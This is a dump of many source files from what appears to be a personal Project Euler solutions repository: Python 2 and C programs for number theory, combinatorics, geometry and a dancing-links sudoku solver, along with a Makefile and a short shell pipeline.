itertools.chain.from_iterable(gprime) flat = list(chain) # key = str(gsum[0])+":"+"".join(map(str, flat)) # print key key = (int("".join(map(str, flat))), gsum[0]) print key s.add(key) for it in sorted(s): print it <file_sep>/id206/id206.py #!/usr/bin/env python import math smallest = math.sqrt(1020304050607080900L) largest = math.sqrt(1930000000000000000L) def has_form(x): tmp = x i = 10 passed = True while (tmp > 0): if (tmp % 10 != (i % 10)): passed = False break tmp = tmp / 100 i -= 1 return passed trial = int(math.ceil(largest)) / 10 #trial = int(math.ceil(smallest)) / 10 while not has_form(trial * trial * 100): trial -= 1 #trial += 1 print trial*10 <file_sep>/id42/id42.py #!/usr/bin/env python def wordvalue(s): n = 0; for c in s: n += ord(c) - ord('A') + 1 return n with open('words.txt', 'r') as f: for line in f: words = line.replace('"', '').split(',') print words score = map(wordvalue, words) print score triangle_nums = [(n*n + n)/2 for n in xrange(1,20)] print triangle_nums total = 0 for t in triangle_nums: for s in score: if t == s: total += 1 print total <file_sep>/id122/Makefile SOURCES=$(wildcard *.c*) BINARIES=$(foreach x, $(basename $(SOURCES)), $(x)) CFLAGS += -g -Wall -Wextra -O3 -march=native -std=c99 CXXFLAGS += -g -Wall -Wextra -O3 -march=native -std=c++11 .PHONY: all clean all: $(BINARIES) clean: -rm $(BINARIES) %: %.c $(CC) $(CFLAGS) -o $@ $< -lm %: %.cpp $(CXX) $(CXXFLAGS) -o $@ $< <file_sep>/id80/id80.py #!/usr/bin/env python def intsqrt(n): x = n xn = n / 2 while (x > xn): x = xn xn = (x + n / x) / 2 return x def is_perfect_sq(n): x = intsqrt(n) return (x * x == n) def sqrtdigitsum(n,numdigits=100): return sum(map(int, list(str(intsqrt(n * 10 ** 200)))[:numdigits])) z = [y for y in range(2,101) if not is_perfect_sq(y)] print z print sum(map(lambda x: sqrtdigitsum(x), z)) <file_sep>/id27/id27.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def quad_function(a,b,n): return n ** 2 + a * n + b a = [aliquot(x) for x in xrange(0,1001)] prime = [x for x in xrange(0,len(a)) if a[x] == 1] print prime best_tuple = (1,41) best_nmax = 39 prod = 41 for b in prime: for a in xrange(-1000, 1001): n = 0 while quad_function(a,b,n) in prime: n += 1 n -= 1 if (n > best_nmax): best_nmax = n best_tuple = (a,b) prod = a*b print best_nmax print best_tuple print prod <file_sep>/id100/id100.py #!/usr/bin/env python import math import gmpy import numpy def is_square(n): x = int(math.sqrt(n)) return (n == x * x) ''' t = 10 ** 12 while True: r = 1 + 2 * t ** 2 - 2 * t if (gmpy.is_square(r)): if (r % 2 == 1): print int(1+math.sqrt(r))/2 t += 1 ''' def seq_A001653(n=(10 ** 13)): a = 1 yield a b = 5 yield b r = 0 while r < n: r = 6 * b - a yield r a = b b = r nums = seq_A001653() tr = next(nums) while True: tr = next(nums) s = tr ** 2 if (not gmpy.is_square(2 * s - 1)): continue t = (1 + gmpy.sqrt(2 * s - 1)) / 2 r = 1 + 2 * t ** 2 - 2 * t if (gmpy.is_square(r)): if (r % 2 == 1): print int(1+gmpy.sqrt(r))/2, t if (t > 10 ** 12): break <file_sep>/id456/id456.c #include <stdio.h> #include <stdlib.h> #include <math.h> #define IDX_X(n) (2*((n))) #define IDX_Y(n) (2*((n))+1) #define FIDX_X(n) (3*((n))+0) #define FIDX_Y(n) (3*((n))+1) #define FIDX_THETA(n) (3*((n))+2) int ptcmp_angle(const void *a, const void * b) { long double *ela = (long double *)a; long double *elb = (long double *)b; long double r = (ela[FIDX_THETA(0)] - elb[FIDX_THETA(0)]); if (r < 0) { return -1; } else if (r == 0) { return 0; } else { return 1; } } long double *verts_unit_circle_projection(int *verts, int num_vertices) { long double *dverts; long double r, theta; int i; long double x, y; dverts = malloc(3 * sizeof(long double) * num_vertices); for (i = 0; i < num_vertices; i++) { x = (long double)verts[IDX_X(i)]; y = (long double)verts[IDX_Y(i)]; r = hypotl(x,y); theta = atan2l(y,x); if (r == 0) { dverts[FIDX_X(i)] = 0.0; dverts[FIDX_Y(i)] = 0.0; dverts[FIDX_THETA(i)] = 0.0; } else { dverts[FIDX_X(i)] = x / r; dverts[FIDX_Y(i)] = y / r; dverts[FIDX_THETA(i)] = theta + M_PI; /* theta range from [0,2pi) */ } } /* sort by angle */ qsort(dverts, num_vertices, 3 * sizeof(long double), ptcmp_angle); return dverts; } int idx_nn_theta_less_than(long double theta_max, long double *dverts, int num_vertices) { size_t imin; size_t imax; size_t imid; imin = -1; imax = num_vertices; /* quick checks */ /* if (theta_max > dverts[FIDX_THETA(num_vertices-1)])*/ /* return num_vertices-1;*/ /* if (theta_max < dverts[FIDX_THETA(0)])*/ /* return -1;*/ while ((imax - imin) > 1) { imid = imin + (imax - imin) / 2; if (dverts[FIDX_THETA(imid)] > theta_max) { imax = imid; } else { imin = imid; } } return imin; } long double angle_diff(long double a, long double b) { long double diff = a - b; while (diff < 0) diff += 2.0*M_PI; while (diff >= 2.0 * M_PI) diff -= 2.0*M_PI; return diff; } int *generate_n_yk(long double *ucverts, int num_vertices) { int *n_yk_array; int i; int j; long double current_theta; n_yk_array = (int *)malloc(sizeof(int) * num_vertices); /* assume first angle is <= pi! */ current_theta = ucverts[FIDX_THETA(0)]; n_yk_array[0] = idx_nn_theta_less_than(current_theta + M_PI, ucverts, num_vertices); for (i = 1; i < num_vertices; i++) { current_theta = ucverts[FIDX_THETA(i)]; n_yk_array[i] = n_yk_array[i-1]; while (angle_diff(ucverts[FIDX_THETA((i + n_yk_array[i]) % num_vertices)], current_theta) <= M_PI) { n_yk_array[i]++; } while (angle_diff(ucverts[FIDX_THETA((i + n_yk_array[i]) % num_vertices)], current_theta) > M_PI) { n_yk_array[i]--; } } return n_yk_array; } int *read_vertices(char *filename, int num_vertices) { FILE *f; int *verts; int i; f = fopen(filename, "r"); /* each vert has contiguous x,y components */ verts = (int *)malloc(2 * sizeof(int) * num_vertices); for(i = 0; i < num_vertices; i++) { fscanf(f, "%d,%d", &verts[IDX_X(i)], &verts[IDX_Y(i)]); } return verts; } int main(int argc, char **argv) { int *verts; int *n_yk; long double *unit_circle_verts; int num_vertices = 2000000; /* int num_vertices = 40000;*/ /* int num_vertices = 600;*/ /* int num_vertices = 8;*/ int i,j,k; unsigned long long nv = (unsigned long long)num_vertices + 1; unsigned long long counter = ((2 * nv - 3) * (nv - 1) * (nv - 2)) / 6; printf("nv = %llu\n", nv); char vertfilename[255]; sprintf(vertfilename, "vertices_%d.txt", num_vertices); verts = read_vertices(vertfilename, num_vertices); unit_circle_verts = verts_unit_circle_projection(verts, num_vertices); /* for(i = 0; i < num_vertices; i++) {*/ /* printf("theta=%g,x=%g,y=%g\n", unit_circle_verts[FIDX_THETA(i)], unit_circle_verts[FIDX_X(i)], unit_circle_verts[FIDX_Y(i)]);*/ /* }*/ printf("Done reading vertices.\n"); n_yk = generate_n_yk(unit_circle_verts, num_vertices); /* for(i = 0; i < num_vertices; i++) {*/ /* printf("n[y_%d]=%d\n", i, n_yk[i]);*/ /* }*/ printf("Done generating n_yk.\n"); printf("Counter initialized to %lu.\n", counter); unsigned long long *nyk_sq = (unsigned long long *)malloc(sizeof(unsigned long long) * num_vertices); for (i = 0; i < num_vertices; i++) { nyk_sq[i] = (unsigned long long)n_yk[i] * (unsigned long long)n_yk[i]; counter -= nyk_sq[i]; /* printf("\r%d/%d", i, num_vertices);*/ /* fflush(stdout);*/ } counter /= 2; printf("\nDone, counter=%llu.\n", counter); return 0; } <file_sep>/id31/id31.py #!/usr/bin/env python s = set() def num_combos(val, vlist): if val == 0: return 1 if (val < 0) or (not vlist and val > 0): return 0 return num_combos(val, vlist[:-1]) + num_combos(val - vlist[-1], vlist) #def hashit(c, v): # s = ''; # for i,ch in enumerate (c): # s = s + str(v[i]) + ch # return s #def print_combo_lines_r(clist, vlist, want, prepend): # if (want == 0): # if prepend[0] < 25: # print prepend # s.add(hashit(clist, prepend)) # return # if (want < 0): # return # for i,v in enumerate(vlist): # prepend[i] = prepend[i] + 1 # print_combo_lines_r(clist, vlist, want - v, prepend) # prepend[i] = prepend[i] - 1 # return #def print_combo_lines(clist, vlist, want): # print_combo_lines_r(clist, vlist, want, [0 for x in xrange(0, len(vlist))]) # return #clist = ['p', 'n', 'd', 'q', 'h', '$'] #vlist = [1,5,10,25,50,100] clist = ['p', 't', 'n', 'd', 'q', 'h', '$', '*'] vlist = [1,2,5,10,20,50,100,200] #clist = ['n','d','q'] #vlist = [5,10,25] #print_combo_lines(clist, vlist, 200) #print s #print len(s) print num_combos(200, vlist) <file_sep>/id23/id23.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) A063990_ambicable = [220, 284, 1184, 1210, 2620, 2924, 5020, 5564, 6232, 6368] # print sum(A063990_ambicable) alist = [] for x in xrange(1,28124): alist.append(aliquot(x)) # print alist abundant = [] for a in xrange(0, len(alist)): if (alist[a] > (a+1)): abundant.append(a+1) # print abundant abundant_set = set([]) for elem in abundant: abundant_set = abundant_set | set([(x + elem) for x in abundant]) # print abundant_set wholeset = set(range(1,28124)) nona = (wholeset - abundant_set) print nona print sum([x for x in nona]) <file_sep>/id32/command.sh ./id32.py | grep True | awk '{ print $2 }' | sort | uniq | awk '{sum += $1} END{print sum}' <file_sep>/id96/main.c #include <stdio.h> #include "dlx.h" int ijn_to_index(int i, int j, int n) { if (i < 0 || i > 8) { return -1; } if (j < 0 || j > 8) { return -1; } if (n < 1 || n > 9) { return -1; } return 9*9*i + 9*j + (n-1); } int ij_to_block(int i, int j) { if (i < 0 || i > 8) { return -1; } if (j < 0 || j > 8) { return -1; } int rb = (i / 3); int cb = (j / 3); return (3*rb + cb); } int get_cel_constraint_column(int i, int j, int n) { return 9*j + i; } int get_row_constraint_column(int i, int j, int n) { return 81 + (9*i) + (n-1); } int get_col_constraint_column(int i, int j, int n) { return 2*81 + (9*j) + (n-1); } int get_blk_constraint_column(int i, int j, int n) { int blk = ij_to_block(i, j); return 3*81 + 9*blk + (n-1); } struct dlx_matrix *sudoku_matrix() { struct dlx_matrix *m = dlx_matrix_create(); for (int i = 0; i < 9; i++) { for (int j = 0; j < 9; j++) { for (int n = 1; n <= 9; n++) { int row = ijn_to_index(i, j, n); dlx_matrix_insert(m, row, get_cel_constraint_column(i, j, n)); dlx_matrix_insert(m, row, get_row_constraint_column(i, j, n)); dlx_matrix_insert(m, row, get_col_constraint_column(i, j, n)); dlx_matrix_insert(m, row, get_blk_constraint_column(i, j, n)); } } } return m; } int main(int argc, char **argv) { // struct dlx_matrix *m = dlx_matrix_create(); // found this example at https://github.com/blynn/dlx // answer should be rows [3] or [0, 2] /* dlx_matrix_insert(m, 0, 0); dlx_matrix_insert(m, 0, 2); dlx_matrix_insert(m, 1, 1); dlx_matrix_insert(m, 1, 2); dlx_matrix_insert(m, 2, 1); dlx_matrix_insert(m, 3, 0); dlx_matrix_insert(m, 3, 1); dlx_set_optional(m, 2); int sel[100]; dlx_search(m, 0, sel); */ // Knuth's example // answer should be [0, 3, 4] /* dlx_matrix_insert(m, 0, 2); dlx_matrix_insert(m, 0, 4); dlx_matrix_insert(m, 0, 5); dlx_matrix_insert(m, 1, 0); dlx_matrix_insert(m, 1, 3); dlx_matrix_insert(m, 1, 6); dlx_matrix_insert(m, 2, 1); dlx_matrix_insert(m, 2, 2); dlx_matrix_insert(m, 2, 5); dlx_matrix_insert(m, 3, 0); dlx_matrix_insert(m, 3, 3); dlx_matrix_insert(m, 4, 1); dlx_matrix_insert(m, 4, 6); dlx_matrix_insert(m, 5, 3); dlx_matrix_insert(m, 5, 4); dlx_matrix_insert(m, 5, 6); */ FILE *fp = fopen("p096_sudoku.txt", "r"); const int kBufferSize = 256; char line[kBufferSize]; while (1) { int row = -1; struct dlx_matrix *m = sudoku_matrix(); int forced = 0; while (fgets(line, kBufferSize, fp) != NULL) { if (row == -1) { // skip header row++; continue; } // printf("%s", line); for (int col = 0; col < 9; col++) { int n = line[col] - '0'; if (n != 0) { dlx_matrix_insert(m, ijn_to_index(row,col,n), 4*81 + forced); forced++; } } row++; if (row == 9) { break; } } if (row == -1) { dlx_matrix_delete(m); break; } int sel[100]; dlx_search(m, 0, sel); dlx_matrix_delete(m); } fclose(fp); return 0; } <file_sep>/id61/id61.py #!/usr/bin/env python def get_children(parent, next_list): return [x for x in next_list if (x / 100) == (parent % 100)] def get_upper_digits(n): return n / 100 def get_lower_digits(n): return n % 100 p3n = lambda n: n * (n + 1) / 2 p4n = lambda n: n ** 2 p5n = lambda n: n * (3 * n - 1) / 2 p6n = lambda n: n * (2 * n - 1) p7n = lambda n: n * (5 * n - 3) / 2 p8n = lambda n: n * (3 * n - 2) trial_start = 18 trial_end = 142 trial_nums = range(trial_start, trial_end+1) p = [] p.append(filter(lambda x: x >= 1000 and x < 10000, map(p3n, trial_nums))) p.append(filter(lambda x: x >= 1000 and x < 10000, map(p4n, trial_nums))) p.append(filter(lambda x: x >= 1000 and x < 10000, map(p5n, trial_nums))) p.append(filter(lambda x: x >= 1000 and x < 10000, map(p6n, trial_nums))) p.append(filter(lambda x: x >= 1000 and x < 10000, map(p7n, trial_nums))) p.append(filter(lambda x: x >= 1000 and x < 10000, map(p8n, trial_nums))) print p maxi = len(p) def nn(ll=p[0], depth=0): if depth == maxi: return ll t = [] for i,num in enumerate(ll): next_upper = filter(lambda x: get_upper_digits(x) == get_lower_digits(num), p[(depth + 1) % maxi]) s = [num] s.extend(nn(next_upper, depth+1)) t.append(s) return t # tree = nn() # print tree s = sorted(list(set([x for ll in p for x in ll]))) print s possible_map = [filter(lambda x: get_upper_digits(x) == get_lower_digits(y), s) for y in s] print possible_map def visit(nums, last): if (None not in nums): a = set(map(get_lower_digits, nums)) b = set(map(get_upper_digits, nums)) if (a == b and len(a) == 6): print nums, sum(nums) return for ps in possible_map[s.index(last)]: for i,ll in enumerate(p): if (nums[i] != None): continue if ps in ll: cp = list(nums) cp[i] = ps visit(cp, ps) return for x in s: visit([None]*len(p), x) <file_sep>/id48/id48.py #!/usr/bin/env python import math def pow_mod(a,b,n): m = 1 for i in xrange(0,b): m = m*a % n if (m == 0): break return m s = 0 for i in xrange(1,1001): s += pow_mod(i,i,1e10) s = s % 1e10 print int(s)<file_sep>/id21/id21.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: s += i + n/i return (s - n) A063990_ambicable = [220, 284, 1184, 1210, 2620, 2924, 5020, 5564, 6232, 6368] # print sum(A063990_ambicable) alist = [] for x in xrange(1,10001): alist.append(aliquot(x)) s = 0 for a in xrange(0, len(alist)): if (alist[a] == (a+1)): continue if (alist[a] < len(alist)): if (alist[alist[a] - 1] == (a+1)): s += (a + 1) print s<file_sep>/id30/id30.py #!/usr/bin/env python import math def digit_power_sum(n, p): return sum([int(x) ** p for x in str(n)]) s = 0 for i in xrange(2,1000000): if i == digit_power_sum(i, 5): s += i print i print 'total:', s<file_sep>/id455/id455.py # -*- coding: utf-8 -*- """ Created on Mon Jan 20 14:58:35 2014 @author: sdunatunga """ import math def trailfunc(n,x): if (x == math.pow(n,x,1e9)): r = x else: r = 0 return r m = max(map(lambda x: trailfunc(4,x), range(0,int(1e9+1)))) print m<file_sep>/id101/id101.py #!/usr/bin/env python def u(n): return ( 1 - n + (n ** 2) - (n ** 3) + (n ** 4) - (n ** 5) + (n ** 6) - (n ** 7) + (n ** 8) - (n ** 9) + (n ** 10) ) def backsub(U, b): rows = len(U) cols = len(U[0]) x = [0] * rows for j in range(cols - 1, -1, -1): x[j] = b[j] for i in range(cols - 1, j, -1): x[j] -= U[j][i] * x[i] x[j] /= U[j][j] return x def solve(A, b): rows = len(A) cols = len(A[0]) # print A for i in range(0, cols): g = A[i][i] if g == 0: print 'g = 0 in gaussian elimination' for j in range(i+1, cols): if A[j][i] != 0: f = A[j][i] for k in range(i, cols): A[j][k] = -g * A[j][k] + f * A[i][k] b[j] = -g * b[j] + f * b[i] # print A # print b return backsub(A, b) def make_poly(seq): rows = len(seq) cols = len(seq) A = [] for i in range(0, rows): r = [] for j in range(0, cols): r.append((i+1) ** j) A.append(r) return solve(A, seq) def eval_poly(p, x): p = p[::-1] y = p[0] for c in p[1:]: y = (x * y + c) return y bops = [] for order in range(0, 10): # p = make_poly(map(lambda x: x**3, range(1, order+2))) p = make_poly(map(u, range(1, order+2))) print p fit = 1 while (u(fit) == eval_poly(p, fit)): fit += 1 bop = eval_poly(p, fit) print bop bops.append(bop) print sum(bops) # A = [ # [1,1,2,3,4,5], # [1,0,2,3,4,5], # [1,0,0,3,4,5], # [1,0,0,0,4,5], # [1,0,0,0,0,5], # [1,0,0,0,0,0], # ] # b = [15,14,12,9,5,10] # x = backsub(A, b) # print x # x = solve(A, b) # print x <file_sep>/id456/id456.py #!/usr/bin/env python import itertools import os import math import bigfloat from collections import defaultdict #bfcontext = bigfloat.quadruple_precision bfcontext = bigfloat.precision(1024) def readverts(f): # P = [] # for line in f: # P.append(tuple(map(int, line.split(',')))) P = map(lambda line: tuple(map(int, line.split(','))), f) return P def angle_diff(a,b): diff = a - b; twopi = 2.0 * math.pi while (diff < 0.0): diff += twopi while (diff >= twopi): diff -= twopi return diff def bfangle_diff(a,b): diff = a - b; twopi = 2.0 * bigfloat.const_pi(bfcontext) while (diff < 0.0): diff += twopi while (diff >= twopi): diff -= twopi return diff def build_nyk(thetas): nt = len(thetas) nyk = [0]*nt pi = math.pi for i,theta in enumerate(thetas): if (i > 0): nyk[i] = nyk[i-1] - 1 while (angle_diff(thetas[(i+nyk[i]) % nt], theta) < pi or thetas[(i+nyk[i]+1) % nt] == thetas[(i+nyk[i]) % nt]): nyk[i] += 1 while (angle_diff(thetas[(i+nyk[i]) % nt], theta) >= pi or thetas[(i+nyk[i]-1) % nt] == thetas[(i+nyk[i]) % nt]): nyk[i] -= 1 return nyk def bfbuild_nyk(thetas): nt = len(thetas) nyk = [0]*nt pi = bigfloat.const_pi(bfcontext) for i,theta in enumerate(thetas): if (i > 0): nyk[i] = nyk[i-1] - 1 while (angle_diff(thetas[(i+nyk[i]) % nt], theta) < pi or thetas[(i+nyk[i]+1) % nt] == thetas[(i+nyk[i]) % nt]): nyk[i] += 1 while (angle_diff(thetas[(i+nyk[i]) % nt], theta) >= pi or thetas[(i+nyk[i]-1) % nt] == thetas[(i+nyk[i]) % nt]): nyk[i] -= 1 return nyk def build_nyk_ext(thetas, dups): nt = len(thetas) nyk_idx = [0]*nt nyk = [0]*nt pi = math.pi for i,theta in enumerate(thetas): if (i > 0): nyk_idx[i] = nyk_idx[i-1] - 1 nyk[i] = nyk[i-1] - dups[i-1] while ((angle_diff(thetas[(i+nyk_idx[i]) % nt], theta) - pi) <= 0.0): nyk[i] += dups[(i+nyk_idx[i]) % nt] nyk_idx[i] += 1 while ((angle_diff(thetas[(i+nyk_idx[i]) % nt], theta) - pi) > 0.0): nyk_idx[i] -= 1 nyk[i] -= dups[(i+nyk_idx[i]) % nt] return nyk, nyk_idx def bfbuild_nyk_ext(thetas, dups): nt = len(thetas) nyk_idx = [0]*nt nyk = [0]*nt pi = bigfloat.const_pi(bfcontext) for i,theta in enumerate(thetas): if (i > 0): nyk_idx[i] = nyk_idx[i-1] - 1 nyk[i] = nyk[i-1] - dups[i-1] while (angle_diff(thetas[(i+nyk_idx[i]) % nt], theta) < pi): nyk[i] += dups[(i+nyk_idx[i]) % nt] nyk_idx[i] += 1 while (angle_diff(thetas[(i+nyk_idx[i]) % nt], theta) > pi): nyk_idx[i] -= 1 nyk[i] -= dups[(i+nyk_idx[i]) % nt] return nyk, nyk_idx def listdups(l): seen = set() seen_add = seen.add # adds all elements it doesn't know yet to seen and all other to seen_twice seen_twice = set( x for x in l if x in seen or seen_add(x) ) # turn the set into a list (as requested) return list( seen_twice ) x_n = lambda n: pow(1248, n, 32323) - 16161 y_n = lambda n: pow(8421, n, 30103) - 15051 pair_n = lambda n: (x_n(n), y_n(n)) #theta_n = lambda pair: (bigfloat.atan2(pair[1], pair[0], bfcontext)) theta_n = lambda pair: (math.atan2(pair[1], pair[0])) #nmax = 8 #nmax = 600 #nmax = 40000 #nmax = 2000000 nvals = [8,600,40000,2000000] solns = [20,8950634,2666610948988,0] for k,nmax in enumerate(nvals): if not (os.path.isfile(('vertices_%d.txt' % nmax))): P = map(pair_n, range(1,nmax+1)) print 'Done generating verticies.' with open(('vertices_%d.txt' % nmax), 'w') as f: for point in P: f.write(str(point[0])+','+str(point[1])+'\n') f.close() print 'Done writing verticies to vertices_%d.txt.' % nmax else: with open(('vertices_%d.txt' % nmax), 'r') as f: P = readverts(f) f.close() print 'Done reading verticies in vertices_%d.txt.' % nmax n = nmax thetas = map(theta_n, P) thetas.sort() print 'Done mapping theta.' # theta_dict = defaultdict(int) # for t in thetas: # theta_dict[t] += 1 # dup_theta = listdups(thetas) # unique_thetas = sorted(list(set(thetas))) # duptuples = [(x, theta_dict[x]-1, unique_thetas.index(x)) for x in dup_theta] # number of additional pts at x # duptuples.sort(key=lambda p: p[2]) # dups = map(lambda x: theta_dict[x], unique_thetas) # nyk, nyk_idx = build_nyk_ext(unique_thetas, dups) # nyk, nyk_idx = bfbuild_nyk_ext(unique_thetas, dups) nykprime = build_nyk(thetas) # nykprime = bfbuild_nyk(thetas) print 'Done building nyk.' # nykstar = [(nk-dups[i]+1) for i, nk in enumerate(nyk)] # T = [(nk*(n-nk-1) - (nk*(nk-1)/2)) for i, nk in enumerate(nyk)] T = [0]*len(thetas) dupc = 1 C = 0 for i, nk in enumerate(nykprime): if (i < (len(thetas)-1) and thetas[i] >= thetas[(i+1)]): dupc += 1 else: T[i] = nk*(n-nk-dupc) - dupc*(nk*(nk-1)/2) dupc = 1 C = C + sum(T)/3 print 'N =', nmax print 'Final C =', C, 'Soln =', solns[k], 'Diff =', abs(C-solns[k]) <file_sep>/id49/id49.py #!/usr/bin/env python import math def hashprime(p): return int(strcat(sorted(str(p)))) def strcat(li): s = '' for l in li: s = s + l return s def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) alist = map(aliquot, xrange(1000, 10000)) primes = [i+1000 for i,a in enumerate(alist) if a == 1] #print primes #sprimes = map(strcat,map(sorted,map(str, primes))) #print(sprimes) #hashed_primes = map(int, sprimes); hashed_primes = map(hashprime, primes) possible = {} for p in set(hashed_primes): # print '[' possible[str(p)] = [] for i,pt in enumerate(hashed_primes): if (p == pt): possible[str(p)].append(primes[i]) # print '\t', primes[i] # print ']' #print possible noprint = True while noprint: for key in possible.keys(): first = possible[key][0] if len(possible[key]) >= 3: delta = possible[key][1] - first if (first + delta*2) in possible[key]: print first, first+delta, first+2*delta noprint = False else: possible[key].remove(first) #for i,p in enumerate(hashed_primes): # for pt in hashed_primes: # if (p == pt): # possible[i] = possible[i] + 1 #print possible #for i,p in enumerate(possible): # if (p) >= 9: # print primes[i] <file_sep>/id46/id46.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) largest = 10000 aq = [aliquot(x) for x in range(1, 1+largest)] aa,pr = zip(*filter(lambda tup: tup[0] == 1, zip(aq, range(1, 1+largest)))) prime = [1] prime.extend(list(pr)) print 'prime:', prime square = list(x * x for x in range(1, int(math.ceil(math.sqrt(1+largest))))) print 'square:', square for i in range(1, largest/2): trial = 2 * i + 1 if (trial in prime): continue found = False filtpr = filter(lambda x: x <= trial, prime) filtsq = filter(lambda x: x <= (i+1), square) for p in filtpr: for s in filtsq: i# print p, s if (p + 2 * s == trial): found = True if (found == False): print 'Composite', trial, 'violates alt. GC.' break <file_sep>/id44/id44.py #!/usr/bin/env python import math def is_square(apositiveint): if (apositiveint == 1): return True x = apositiveint // 2 seen = set([x]) while x * x != apositiveint: x = (x + (apositiveint // x)) // 2 if x in seen: return False seen.add(x) return True def pentagonal_number(n): return (n * (3 * n - 1) / 2) n = range(1,10000) pn = map(pentagonal_number, n) save = [] for i,p in enumerate(pn): ss = map(lambda x: x + p, pn) for j,s in enumerate(ss): tmp = 24 * s + 1 if is_square(tmp) == False: continue if (math.sqrt(tmp) % 6 != 5): continue # print i, j ds = abs(pn[i]-pn[j]) tmp = 24 * ds + 1 if is_square(tmp) == False: continue if (math.sqrt(tmp) % 6 != 5): continue print i, j, 'D =', ds save.append( (i,j,s,ds) ) print save <file_sep>/id53/id53.py #!/usr/bin/env python import math def nCr(n,r): f = math.factorial return f(n) / (f(r) * f(n-r)) count = 0 for n in range(0, 101): for r in range(0, 1+n/2): f = nCr(n, r) if (f > 1000000): count += (n-2*r)+1 break print count <file_sep>/id243/id243.py #!/usr/bin/env python import math # we know that if n1 = prod(primes(2 to 21)), totient(n1)/n1 > 15499/94744 # but for n2 = prod(primes(2 to 23), totient(n2)/n2 < 15499/94744 # from the totient maximum problem (id69), we know the least resilient numbers # have the form of n1 and n2. start = 2*3*5*7*11*13*17*19*23 # since we actually want totient(n)/(n-1), we can search for multiples of n2 # to see when it becomes less than the target. if we get to 29, we are at the # next least-resilient number and probably need to rethink this mullim = 29 def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf def totient(n): pf = list(set(prime_factors(n))) num = n * reduce(lambda x, y: x*(y-1), pf, 1) den = reduce(lambda x, y: x*y, pf, 1) return (num / den) def resilience(n): return float(totient(n)) / (n-1) target = 15499.0 / 94744.0 for d in xrange(1,1+mullim): if resilience(d*start) < target: print d*start break <file_sep>/id70/id70.py #!/usr/bin/env python import math from bisect import bisect_left, bisect_right lim = 10 ** 7 def prime_sieve(upto): sieve = [True]*(upto) sieve[0] = False sieve[1] = False for i in xrange(2, upto): if (sieve[i]): for j in xrange(i * i, upto, i): sieve[j] = False return [i for i,p in enumerate(sieve) if p] def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf def totient(n): pf = list(set(prime_factors(n))) num = n * reduce(lambda x, y: x*(y-1), pf, 1) den = reduce(lambda x, y: x*y, pf, 1) return (num / den) primes = prime_sieve(lim) print 'Done generating primes.' def pftotient(pl): pf = list(set(pl)) n = reduce(lambda x, y: x*y, pl, 1) num = n * reduce(lambda x, y: x*(y-1), pf, 1) den = reduce(lambda x, y: x*y, pf, 1) return (num / den) def totient_factor(p): return float(p) / float(p-1) def is_totient_permuation(pl): n = reduce(lambda x, y: x*y, pl, 1) return (sorted(str(n)) == sorted(str(pftotient(pl)))) totients = map(totient_factor, primes) gbest = max(primes) def bandb(upper, lower, current, lim, plist, best=None, tc=None): global gbest if (tc is not None and tc >= gbest): return None if current == [] or current is None: n = 1 c = [] else: n = reduce(lambda x,y: x*y, current, 1) c = current if (upper is None or lower is None): li = 0 ui = len(plist)-1 else: if (upper <= lower): return None li = bisect_left(plist, lower) ui = bisect_right(plist, upper) if (ui >= len(plist)): ui = len(plist) - 1 if (ui <= li): return None i = ui if tc is None: tc = 1 else: while (tc*totients[li] > gbest and li < i): li += 1 while i >= li: while (n*plist[i] > lim and i >= li): i -= 1 if (i < li): break cc = list(c) cc.append(plist[i]) # print cc, tc, tc+totients[i], best # print cc if is_totient_permuation(cc): t = float(n*plist[i]) / float(pftotient(cc)) if (t < gbest): gbest = t print n*plist[i], cc, t, gbest while (tc*totients[li] > gbest and li < i): li += 1 i -= 1 else: i -= 1 if (tc*totients[i] < gbest): bandb(lim / (n*plist[i]), 0, cc, lim, plist, gbest, tc*totients[i]) bandb(None, None, [], lim, primes) <file_sep>/id73/id73.py #!/usr/bin/env python import math lim = 12000 leftof = 1.0 / 2.0 rightof = 1.0 / 3.0 def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf c = 0 for d in xrange(4,1+lim): n = int(d * leftof) pfd = prime_factors(d) pfn = prime_factors(n) while ((float(n) / float(d)) > rightof): if (len(set(pfd) & set(pfn)) == 0): c += 1 n -= 1 if (n <= 0): break pfn = prime_factors(n) print c <file_sep>/id135/id135.py #!/usr/bin/env python from math import sqrt def kdeqn(k, d): return -k**2 + 6*k*d - 5*d**2 def sdeqn(s, d): return (s+2*d)**2 - (s+d)**2 - s**2 def introots(a,b,c): d = b**2 - 4*a*c if (d < 0): return (0, 0) s = int(sqrt(d)) p = (-b + s) / (2*a) n = (-b - s) / (2*a) return (p, n) lim = 10 ** 6 s = 0 f = {} while True: s += 1 pr, nr = introots(3, 2*s, -s**2) d = pr-1 na = 0 while True: d += 1 x = (s,d) t = sdeqn(*x) if t <= 0: continue if t > lim: break print x, t, pr, nr na += 1 if t in f: f[t].append(x) else: f[t] = [x] if s > 3 * lim / 4: break print len(filter(lambda x: x == 10, map(lambda x: len(f[x]), f))) ''' def introots(a,b,c): d = b**2 - 4*a*c if (d < 0): return (0, 0) s = int(sqrt(d)) p = (-b + s) / (2*a) n = (-b - s) / (2*a) return (p, n) lim = 10 ** 